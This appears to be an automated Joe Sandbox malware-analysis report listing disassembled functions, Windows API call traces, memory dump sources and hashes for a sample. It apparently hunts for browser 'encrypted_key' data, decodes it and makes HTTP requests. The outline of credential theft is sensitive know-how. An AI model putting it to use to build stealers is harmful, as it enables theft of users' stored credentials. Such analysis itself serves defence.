Part of subcall function 00FF6280: HttpOpenRequestA.WININET(00000000,GET,?,0087FA68,00000000,00000000,00400100,00000000), ref: 00FF6385
Part of subcall function 00FF6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FF63BF
Part of subcall function 00FF6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FF63D1

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01005318
lstrlen.KERNEL32(00000000), ref: 0100532F

Part of subcall function 01008E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

StrStrA.SHLWAPI(00000000,00000000), ref: 01005364
lstrlen.KERNEL32(00000000), ref: 01005383
lstrlen.KERNEL32(00000000), ref: 010053AE

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Strings

ERROR, xrefs: 010054A9
ERROR, xrefs: 010053B9
ERROR, xrefs: 0100546F
ERROR, xrefs: 0100530A
ERROR, xrefs: 01005432

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: e48d065a800a2a6070a72dcee779b05f723fc7e80b9e9cca8302f1d82bb265f1
Instruction ID: 4500b521060182b5468f14e13306fa4c217fd88710058dc7cbea57ace02264e1
Opcode Fuzzy Hash: e48d065a800a2a6070a72dcee779b05f723fc7e80b9e9cca8302f1d82bb265f1
Instruction Fuzzy Hash: 9D511C30A10249DBEB1AFF60DD95EED7779AF24300F504028E58A9B5D0EF346B0ACB61

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C653508
kernel32.dll, xrefs: 6C6534EA

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 010012D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 588e39a24173ee5835c1e2ac698a4864a9c5f77217ae29ae2a739e2912ce8ae3
Instruction ID: ef88d49374f475a5ed59390532024b70ca325ffbc7399c8b18a4873023263633
Opcode Fuzzy Hash: 588e39a24173ee5835c1e2ac698a4864a9c5f77217ae29ae2a739e2912ce8ae3
Instruction Fuzzy Hash: 61C185B5E00219DBDB15EF60DC89FEE7378BB64304F004599E54AA7281EB74EA85CF90

Function 01004280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

lstrcat.KERNEL32(?,00000000), ref: 010042EC
lstrcat.KERNEL32(?,0087F3E0), ref: 0100430B
lstrcat.KERNEL32(?,?), ref: 0100431F
lstrcat.KERNEL32(?,0087F210), ref: 01004333

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 01008D90: GetFileAttributesA.KERNEL32(00000000,?,00FF1B54,?,?,0101564C,?,?,01010E1F), ref: 01008D9F

Part of subcall function 00FF9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FF9D39

Part of subcall function 00FF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
Part of subcall function 00FF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
Part of subcall function 00FF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
Part of subcall function 00FF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
Part of subcall function 00FF99C0: LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
Part of subcall function 00FF99C0: CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

Part of subcall function 010093C0: GlobalAlloc.KERNEL32(00000000,010043DD,010043DD), ref: 010093D3

StrStrA.SHLWAPI(?,0087F888), ref: 010043F3
GlobalFree.KERNEL32(?), ref: 01004512

Part of subcall function 00FF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9AEF
Part of subcall function 00FF9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B01
Part of subcall function 00FF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9B2A
Part of subcall function 00FF9AC0: LocalFree.KERNEL32(?,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B3F

lstrcat.KERNEL32(?,00000000), ref: 010044A3
StrCmpCA.SHLWAPI(?,010108D1), ref: 010044C0
lstrcat.KERNEL32(00000000,00000000), ref: 010044D2
lstrcat.KERNEL32(00000000,?), ref: 010044E5
lstrcat.KERNEL32(00000000,01010FB8), ref: 010044F4

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: dd0a6f29da8a11f52501c10ab8c4a7984b2537543430e08f3a98acee88b1b134
Instruction ID: 0e96e22cd4cd959fa7cb96c728a4ba6fa46d31236fd5abc5048d25edd414b1a7
Opcode Fuzzy Hash: dd0a6f29da8a11f52501c10ab8c4a7984b2537543430e08f3a98acee88b1b134
Instruction Fuzzy Hash: 2C7174B6900208ABDB15FBA4EC89FEE7378BB48300F048598E64597185EB75DB49CF91

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
